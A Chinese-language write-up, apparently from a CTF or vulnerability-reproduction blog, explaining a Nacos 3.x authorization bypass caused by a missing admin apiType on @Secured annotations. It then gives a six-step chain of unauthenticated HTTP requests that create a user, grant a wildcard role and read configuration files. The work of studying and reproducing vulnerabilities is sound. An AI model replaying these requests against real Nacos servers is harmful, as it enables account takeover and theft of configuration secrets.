2026-10-12
漏洞复现和原理
00
请注意,本文编写于 33 天前,最后修改于 33 天前,其中某些信息可能已经过时。

目录

Nacos 3.x 权限绕过漏洞原理(QVD-2026-59388)
利用链
1. 未授权创建用户
2. 未授权创建角色
3. 未授权赋予通配权限
4. 登录获取 Token
5. 模糊搜索配置文件
6. 读取配置内容(最终拿 Flag)

Nacos 3.x 权限绕过漏洞


Nacos 3.x 权限绕过漏洞原理(QVD-2026-59388)

  1. 鉴权机制:Nacos 的接口通过 @Secured 注解来鉴权。注解里有一个 apiType 属性,用来区分接口类型(如 ADMIN_API 管理接口、OPEN_API 开放接口)。
  2. 漏标漏洞:UserControllerV3 等管理接口的 @Secured 注解里,漏写了 apiType = ApiType.ADMIN_API。
  3. 默认放行:apiType 缺失时,接口默认落入 OPEN_API 作用域,而这个作用域在鉴权过滤器中是默认放行的。
  4. 最终结果:导致这些本应只有管理员能访问的接口(如创建用户、绑定角色、读取配置),在无需登录的情况下直接可以被攻击者调用。

利用链

图片.png

图片.png

图片.png

1. 未授权创建用户

  • 请求:POST http://64.90.0.172:20256/nacos/v3/auth/user
  • Body参数:
    • username=hacker:要创建的账号名(自定义)。
    • password=123456:账号密码(自定义)。
  • 原理:利用漏洞调用 UserControllerV3 接口,凭空注册一个账号。

图片.png

2. 未授权创建角色

  • 请求:POST http://64.90.0.172:20256/nacos/v3/auth/role
  • Body参数:
    • username=hacker:指定哪个用户绑定该角色。
    • role=my_admin:自定义角色名(千万不能用 ROLE_ADMIN,系统会拦截)。
  • 原理:创建一个自定义管理员角色,并与第一步的账号绑定。

图片.png

3. 未授权赋予通配权限

  • 请求:POST http://64.90.0.172:20256/nacos/v3/auth/permission
  • Body参数:
    • role=my_admin:指定给哪个角色授权。
    • resource=*:*表示所有资源(包括所有配置文件)。
    • action=rw:rw表示读写权限(Read & Write)。
  • 原理:让该角色拥有超级管理员级别的权限。

图片.png

4. 登录获取 Token

  • 请求:POST http://64.90.0.172:20256/nacos/v3/auth/user/login
  • Body参数:
    • username=hacker&password=123456:使用刚才创建的凭据登录。
  • 返回内容:拿到 accessToken(后续所有操作全靠它,即截图里那长串 eyJ...)。

图片.png

5. 模糊搜索配置文件

  • 请求:GET http://64.90.0.172:20256/nacos/v3/admin/cs/config/list?search=blur&dataId=*flag*&pageNo=1&pageSize=10
  • Header头:
    • accessToken: eyJ...:证明你已登录。
  • URL参数:
    • search=blur:模糊搜索模式(如果写 accurate 就是精确匹配)。
    • dataId=*flag*:查询文件名(dataId)包含 flag 关键字的配置。
    • pageNo=1&pageSize=10:分页参数,查第1页,每页10条,防止数据过多卡死。
  • 目的:拿到目标文件的元数据(dataId: flag.yml 和 groupName: DEFAULT_GROUP)。

找到flag文件名 图片.png

6. 读取配置内容(最终拿 Flag)

  • 请求:GET http://64.90.0.172:20256/nacos/v3/admin/cs/config?dataId=flag.yml&groupName=DEFAULT_GROUP
  • Header头:
    • accessToken: eyJ...:身份凭证。
  • URL参数:
    • dataId=flag.yml:上一步查到的文件名叫 flag.yml。
    • groupName=DEFAULT_GROUP:上一步查到的分组名叫 DEFAULT_GROUP。
  • 返回内容:"content": "flag{921312bd-b698-45a8-9a23-4a93845a4e4b}"。

图片.png